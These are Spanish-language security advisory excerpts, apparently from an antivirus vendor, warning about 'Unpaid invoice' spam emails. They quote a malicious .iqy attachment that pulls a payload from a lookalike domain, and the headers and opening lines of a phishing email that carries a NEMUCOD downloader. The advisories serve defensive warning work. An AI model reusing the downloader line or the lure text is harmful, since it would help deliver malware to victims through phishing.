Dos diferentes mails (que son mas de lo mismo) autoejecutan el html al utilizar formato MIME, están llegando con estos textos: Asunto: Unpaid invoice [ID:8507848] De: Anna.Cockbone@satinfo.es Fecha: 25/05/2018 16:33 Para: destinatario 8507848.iqy WEB 1 http://clodflarechk.com/2.dat 2 a 3 b 4 c 5 ANEXADO: 8507848.iqy y el segundo, muy similar, indica: Asunto: Unpaid invoice [ID:2384752] […]

Anexado a un mail similar a este, se recibe un fichero anexado un ZIP que contiene un downloader NEMUCOD:   MAIL MASIVO MALICIOSO _____________________ Asunto: Unpaid invoice # 74422593 De: =?UTF-8?B?S2F0aGxlZW4gbWNrZW5uZXk=?= <mckenneyKathleen2094@perfectlittlehouse.com> Fecha: 01/03/2016 19:36 Para: =?UTF-8?B?c2F0?= <destinatario> Dear Client, According to the reconciliation of the Department of Finance there are the arrears following your […]